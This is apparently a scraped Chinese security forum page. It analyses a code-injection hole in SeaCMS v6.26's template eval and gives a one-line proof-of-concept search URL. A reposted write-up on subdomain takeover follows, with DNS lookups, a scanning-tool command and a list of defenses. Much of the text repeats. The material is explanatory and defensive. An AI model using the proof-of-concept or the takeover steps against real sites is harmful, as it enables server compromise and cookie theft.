    global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
    $order = !empty($order)?$order:time;
    if(intval($searchtype)==5)
    {
    $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
    $typeStr = !empty($tid)?intval($tid).'_':'0_';
    $yearStr = !empty($year)?PinYin($year).'_':'0_';
    $letterStr = !empty($letter)?$letter.'_':'0_';
    $areaStr = !empty($area)?PinYin($area).'_':'0_';
    $orderStr = !empty($order)?$order.'_':'0_';
    $jqStr = !empty($jq)?$jq.'_':'0_';
    $cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
    $pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
    }else
    {
    if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
    $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
    $cacheName="parse_search_";
    $pSize = getPageSizeOnCache($searchTemplatePath,"search","");
    }
    if (empty($pSize)) $pSize=12;
    switch (intval($searchtype)) {
    case -1:
    $whereStr=" where v_recycled=0 and (v_name like '%$searchword%' or v_actor like '%$searchword%' or v_director like '%$searchword%' or v_publisharea like '%$searchword%' or v_publishyear like '%$searchword%' or v_letter='$searchword' or v_tags='$searchword' or v_nickname like '%$searchword%')";
    break;
    case 0:
    $whereStr=" where v_recycled=0 and v_name like '%$searchword%'";
    break;
    case 1:
    $whereStr=" where v_recycled=0 and v_actor like '%$searchword%'";
    break;
    case 2:
    $whereStr=" where v_recycled=0 and v_publisharea like '%$searchword%'";
    break;
    case 3:
    $whereStr=" where v_recycled=0 and v_publishyear like '%$searchword%'";
    break;
    case 4:
    $whereStr=" where v_recycled=0 and v_letter='".strtoupper($searchword)."'";
    break;
    case 5:
    $whereStr=" where v_recycled=0";
    if(!empty($tid)) $whereStr.=" and (tid in (".getTypeId($tid).") or FIND_IN_SET('".$tid."',v_extratype)<>0)";
    if($year=="more")
    {
    $publishyeartxt=sea_DATA."/admin/publishyear.txt";
    $publishyear = array();
    if(filesize($publishyeartxt)>0)
    {
    $publishyear = file($publishyeartxt);
    }
    $yearArray=$publishyear;
    $yeartxt= implode(',',$yearArray);
    $whereStr.=" and v_publishyear not in ($yeartxt)";
    }
    if(!empty($year) AND $year!="more")
    {$whereStr.=" and v_publishyear='$year'";}
    if($letter=="0-9")
    {$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
    if(!empty($letter) AND $letter!="0-9")
    {$whereStr.=" and v_letter='$letter'";}
    if(!empty($area)) $whereStr.=" and v_publisharea='$area'";
    if(!empty($yuyan)) $whereStr.=" and v_lang='$yuyan'";
    if(!empty($jq)) $whereStr.=" and v_jq like'%$jq%'";
    if($state=='l') $whereStr.=" and v_state !=0";
    if($state=='w') $whereStr.=" and v_state=0";
    if($money=='s') $whereStr.=" and v_money !=0";
    if($money=='m') $whereStr.=" and v_money=0";
    if(!empty($ver)) $whereStr.=" and v_ver='$ver'";
    break;
    }
    $sql="select count(*) as dd from sea_data ".$whereStr;
    $row = $dsql->GetOne($sql);
    if(is_array($row))
    {
    $TotalResult = $row['dd'];
    }
    else
    {
    $TotalResult = 0;
    }
    $pCount = ceil($TotalResult/$pSize);
    if($cfg_iscache){
    if(chkFileCache($cacheName)){
    $content = getFileCache($cacheName);
    }else{
    $content = parseSearchPart($searchTemplatePath);
    setFileCache($cacheName,$content);
    }
    }else{
    $content = parseSearchPart($searchTemplatePath);
    }
    $content = str_replace("{searchpage:page}",$page,$content);
    $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
    $content = str_replace("{searchpage:ordername}",$order,$content);

    $content = str_replace("{searchpage:order-hit-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hit&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-hitasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hitasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

    $content = str_replace("{searchpage:order-id-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=id&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-idasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=idasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

    $content = str_replace("{searchpage:order-time-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=time&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-timeasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=timeasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

    $content = str_replace("{searchpage:order-commend-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commend&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-commendasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commendasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

    $content = str_replace("{searchpage:order-score-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=score&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-scoreasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=scoreasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    if(intval($searchtype)==5)
    {
    $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
    $jq = !empty($jq)?$jq:'全部';
    $area = !empty($area)?$area:'全部';
    $year = !empty($year)?$year:'全部';
    $yuyan = !empty($yuyan)?$yuyan:'全部';
    $letter = !empty($letter)?$letter:'全部';
    $state = !empty($state)?$state:'全部';
    $ver = !empty($ver)?$ver:'全部';
    $money = !empty($money)?$money:'全部';
    $content = str_replace("{searchpage:type}",$tid,$content);
    $content = str_replace("{searchpage:typename}",$tname ,$content);
    $content = str_replace("{searchpage:year}",$year,$content);
    $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
    $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
    if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
    $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
    $content = str_replace("{searchpage:ver}",$ver,$content);
    $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
    $content=$mainClassObj->parseSearchItemList($content,"type");
    $content=$mainClassObj->parseSearchItemList($content,"year");
    $content=$mainClassObj->parseSearchItemList($content,"area");
    $content=$mainClassObj->parseSearchItemList($content,"letter");
    $content=$mainClassObj->parseSearchItemList($content,"lang");
    $content=$mainClassObj->parseSearchItemList($content,"jq");
    $content=$mainClassObj->parseSearchItemList($content,"state");
    $content=$mainClassObj->parseSearchItemList($content,"ver");
    $content=$mainClassObj->parseSearchItemList($content,"money");
    }else
    {
    $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
    }
    $content=replaceCurrentTypeId($content,-444);
    $content=$mainClassObj->parseIf($content); //这个函数引起的,我们来跟踪下这个函数
    $content=str_replace("{seacms:member}",front_member(),$content);
    $searchPageStr = $content;
    echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
    }parseif函数路径:/include/main.class.php:
    function parseIf($content){
    if (strpos($content,'{if:')=== false){
    return $content;
    }else{
    $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
    $labelRule2="{elseif";
    $labelRule3="{else}";
    preg_match_all($labelRule,$content,$iar);
    $arlen=count($iar[0]);
    $elseIfFlag=false;
    for($m=0;$m<$arlen;$m++){
    $strIf=$iar[1][$m];
    $strIf=$this->parseStrIf($strIf);
    $strThen=$iar[2][$m];
    $strThen=$this->parseSubIf($strThen);
    if (strpos($strThen,$labelRule2)===false){
    if (strpos($strThen,$labelRule3)>=0){
    $elsearray=explode($labelRule3,$strThen);
    $strThen1=$elsearray[0];
    $strElse1=$elsearray[1];
    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
    }else{
    @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");//就是这里了,@eval
    if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
    }else{
    $elseIfArray=explode($labelRule2,$strThen);
    $elseIfArrayLen=count($elseIfArray);
    $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
    $resultStr=$elseIfSubArray[1];
    $elseIfArraystr0=addslashes($elseIfArray[0]);
    @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
    for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
    $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
    $strElseIf=$this->parseStrIf($strElseIf);
    $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
    @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
    @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
    if ($elseIfFlag) {break;}
    }
    $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
    $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
    if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
    @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
    $content=str_replace($iar[0][$m],$resultStr,$content);
    }
    }
    return $content;
    }POC:
    /search.php?searchtype=5&tid=&area=eval(phpinfo())




      查看全部
    http://0day5.com/archives/4180/
     
    漏洞环境:
    docker pull zksmile/vul:seacmsv6.26
    漏洞分析:
    漏洞文件:seacms/search.php:
    function echoSearchPage()
    {
    global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
    $order = !empty($order)?$order:time;
    if(intval($searchtype)==5)
    {
    $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
    $typeStr = !empty($tid)?intval($tid).'_':'0_';
    $yearStr = !empty($year)?PinYin($year).'_':'0_';
    $letterStr = !empty($letter)?$letter.'_':'0_';
    $areaStr = !empty($area)?PinYin($area).'_':'0_';
    $orderStr = !empty($order)?$order.'_':'0_';
    $jqStr = !empty($jq)?$jq.'_':'0_';
    $cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
    $pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
    }else
    {
    if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
    $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
    $cacheName="parse_search_";
    $pSize = getPageSizeOnCache($searchTemplatePath,"search","");
    }
    if (empty($pSize)) $pSize=12;
    switch (intval($searchtype)) {
    case -1:
    $whereStr=" where v_recycled=0 and (v_name like '%$searchword%' or v_actor like '%$searchword%' or v_director like '%$searchword%' or v_publisharea like '%$searchword%' or v_publishyear like '%$searchword%' or v_letter='$searchword' or v_tags='$searchword' or v_nickname like '%$searchword%')";
    break;
    case 0:
    $whereStr=" where v_recycled=0 and v_name like '%$searchword%'";
    break;
    case 1:
    $whereStr=" where v_recycled=0 and v_actor like '%$searchword%'";
    break;
    case 2:
    $whereStr=" where v_recycled=0 and v_publisharea like '%$searchword%'";
    break;
    case 3:
    $whereStr=" where v_recycled=0 and v_publishyear like '%$searchword%'";
    break;
    case 4:
    $whereStr=" where v_recycled=0 and v_letter='".strtoupper($searchword)."'";
    break;
    case 5:
    $whereStr=" where v_recycled=0";
    if(!empty($tid)) $whereStr.=" and (tid in (".getTypeId($tid).") or FIND_IN_SET('".$tid."',v_extratype)<>0)";
    if($year=="more")
    {
    $publishyeartxt=sea_DATA."/admin/publishyear.txt";
    $publishyear = array();
    if(filesize($publishyeartxt)>0)
    {
    $publishyear = file($publishyeartxt);
    }
    $yearArray=$publishyear;
    $yeartxt= implode(',',$yearArray);
    $whereStr.=" and v_publishyear not in ($yeartxt)";
    }
    if(!empty($year) AND $year!="more")
    {$whereStr.=" and v_publishyear='$year'";}
    if($letter=="0-9")
    {$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
    if(!empty($letter) AND $letter!="0-9")
    {$whereStr.=" and v_letter='$letter'";}
    if(!empty($area)) $whereStr.=" and v_publisharea='$area'";
    if(!empty($yuyan)) $whereStr.=" and v_lang='$yuyan'";
    if(!empty($jq)) $whereStr.=" and v_jq like'%$jq%'";
    if($state=='l') $whereStr.=" and v_state !=0";
    if($state=='w') $whereStr.=" and v_state=0";
    if($money=='s') $whereStr.=" and v_money !=0";
    if($money=='m') $whereStr.=" and v_money=0";
    if(!empty($ver)) $whereStr.=" and v_ver='$ver'";
    break;
    }
    $sql="select count(*) as dd from sea_data ".$whereStr;
    $row = $dsql->GetOne($sql);
    if(is_array($row))
    {
    $TotalResult = $row['dd'];
    }
    else
    {
    $TotalResult = 0;
    }
    $pCount = ceil($TotalResult/$pSize);
    if($cfg_iscache){
    if(chkFileCache($cacheName)){
    $content = getFileCache($cacheName);
    }else{
    $content = parseSearchPart($searchTemplatePath);
    setFileCache($cacheName,$content);
    }
    }else{
    $content = parseSearchPart($searchTemplatePath);
    }
    $content = str_replace("{searchpage:page}",$page,$content);
    $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
    $content = str_replace("{searchpage:ordername}",$order,$content);

    $content = str_replace("{searchpage:order-hit-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hit&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-hitasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hitasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

    $content = str_replace("{searchpage:order-id-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=id&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-idasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=idasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

    $content = str_replace("{searchpage:order-time-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=time&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-timeasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=timeasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

    $content = str_replace("{searchpage:order-commend-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commend&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-commendasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commendasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

    $content = str_replace("{searchpage:order-score-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=score&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-scoreasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=scoreasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    if(intval($searchtype)==5)
    {
    $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
    $jq = !empty($jq)?$jq:'全部';
    $area = !empty($area)?$area:'全部';
    $year = !empty($year)?$year:'全部';
    $yuyan = !empty($yuyan)?$yuyan:'全部';
    $letter = !empty($letter)?$letter:'全部';
    $state = !empty($state)?$state:'全部';
    $ver = !empty($ver)?$ver:'全部';
    $money = !empty($money)?$money:'全部';
    $content = str_replace("{searchpage:type}",$tid,$content);
    $content = str_replace("{searchpage:typename}",$tname ,$content);
    $content = str_replace("{searchpage:year}",$year,$content);
    $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
    $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
    if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
    $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
    $content = str_replace("{searchpage:ver}",$ver,$content);
    $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
    $content=$mainClassObj->parseSearchItemList($content,"type");
    $content=$mainClassObj->parseSearchItemList($content,"year");
    $content=$mainClassObj->parseSearchItemList($content,"area");
    $content=$mainClassObj->parseSearchItemList($content,"letter");
    $content=$mainClassObj->parseSearchItemList($content,"lang");
    $content=$mainClassObj->parseSearchItemList($content,"jq");
    $content=$mainClassObj->parseSearchItemList($content,"state");
    $content=$mainClassObj->parseSearchItemList($content,"ver");
    $content=$mainClassObj->parseSearchItemList($content,"money");
    }else
    {
    $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
    }
    $content=replaceCurrentTypeId($content,-444);
    $content=$mainClassObj->parseIf($content); //这个函数引起的,我们来跟踪下这个函数
    $content=str_replace("{seacms:member}",front_member(),$content);
    $searchPageStr = $content;
    echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
    }
    parseif函数路径:/include/main.class.php:
    function parseIf($content){
    if (strpos($content,'{if:')=== false){
    return $content;
    }else{
    $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
    $labelRule2="{elseif";
    $labelRule3="{else}";
    preg_match_all($labelRule,$content,$iar);
    $arlen=count($iar[0]);
    $elseIfFlag=false;
    for($m=0;$m<$arlen;$m++){
    $strIf=$iar[1][$m];
    $strIf=$this->parseStrIf($strIf);
    $strThen=$iar[2][$m];
    $strThen=$this->parseSubIf($strThen);
    if (strpos($strThen,$labelRule2)===false){
    if (strpos($strThen,$labelRule3)>=0){
    $elsearray=explode($labelRule3,$strThen);
    $strThen1=$elsearray[0];
    $strElse1=$elsearray[1];
    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
    }else{
    @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");//就是这里了,@eval
    if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
    }else{
    $elseIfArray=explode($labelRule2,$strThen);
    $elseIfArrayLen=count($elseIfArray);
    $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
    $resultStr=$elseIfSubArray[1];
    $elseIfArraystr0=addslashes($elseIfArray[0]);
    @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
    for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
    $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
    $strElseIf=$this->parseStrIf($strElseIf);
    $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
    @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
    @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
    if ($elseIfFlag) {break;}
    }
    $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
    $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
    if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
    @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
    $content=str_replace($iar[0][$m],$resultStr,$content);
    }
    }
    return $content;
    }
    POC:
    /search.php?searchtype=5&tid=&area=eval(phpinfo()) 

    1.png

     

    云安全----子域名takeover漏洞原理分析与防御(以微软为例)

    Web安全渗透sq_smile 发表了文章 • 0 个评论 • 39 次浏览 • 2019-04-08 11:13 • 来自相关话题

    0x01、subdomain takeover,子域名劫持/接管。 
    0X02、漏洞实例--有趣的测试
    某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。





    猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
     
    确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。





    猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
     
    确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
    0X03 实例分析
    查询该网站的DNS记录:C:\Users\ASUS>nslookup learnt.MicroSoft.Com
    Server: phicomm.me
    Address: 192.168.0.1


    Non-authoritative answer:
    Name: subdomain-takeover-msrc.wanybug.Com
    Address: 47.52.101.203
    Aliases: learnt.MicroSoft.Com
    ldlearntest.trafficmanager.net可以得出:Name: subdomain-takeover-msrc.wanybug.Com
    Aliases: learnt.MicroSoft.Com
    ldlearntest.trafficmanager.net       由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
           注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net。
           通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:C:\Users\ASUS>nslookup www.dawine.com
    Server: google-public-dns-a.google.com
    Address: 8.8.8.8


    Non-authoritative answer:
    Name: dawine1.chinacloudapp.cn
    Address: 139.217.132.95
    Aliases: www.dawine.com
    dawinechinaweb.trafficmanager.cn        可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
    0X04  漏洞原理:A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
    A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
    某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
    此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
    如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
    攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
    此时访问shop.a.com 则出现 文本"hacked!"。
    0X05    漏洞危害:* 获取Cookie
    * 构造页面内容 (包括但不限于钓鱼、广告...)
    * 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
    * 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
    * 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
    * 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
    * 构造钓鱼页面 - 窃取用户及管理员其他的凭证
    * 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
    * XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
    * 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
    * DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
    * DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
    * 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
    * 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
    * 挖矿等
    *...
    总之危害很大。
    另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。
    0X06    测试方法:1、手工:nslookup
    2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500
    0X07    防御方案:* 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
    * 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
    * 如果被"抢注" 重新设置域名的CNAME
     
    文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
    作者:arr0w1
      查看全部
    0x01、subdomain takeover,子域名劫持/接管。 
    0X02、漏洞实例--有趣的测试
    某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。

    1---和漏洞师父的聊天.png

    猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
     
    确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。

    2---漏洞示意图.png

    猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
     
    确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
    0X03 实例分析
    查询该网站的DNS记录:
    C:\Users\ASUS>nslookup learnt.MicroSoft.Com
    Server: phicomm.me
    Address: 192.168.0.1


    Non-authoritative answer:
    Name: subdomain-takeover-msrc.wanybug.Com
    Address: 47.52.101.203
    Aliases: learnt.MicroSoft.Com
    ldlearntest.trafficmanager.net
    可以得出:
    Name:    subdomain-takeover-msrc.wanybug.Com
    Aliases: learnt.MicroSoft.Com
    ldlearntest.trafficmanager.net
           由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
           注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net
           通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:
    C:\Users\ASUS>nslookup www.dawine.com
    Server: google-public-dns-a.google.com
    Address: 8.8.8.8


    Non-authoritative answer:
    Name: dawine1.chinacloudapp.cn
    Address: 139.217.132.95
    Aliases: www.dawine.com
    dawinechinaweb.trafficmanager.cn
            可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
    0X04  漏洞原理
    A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
    A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
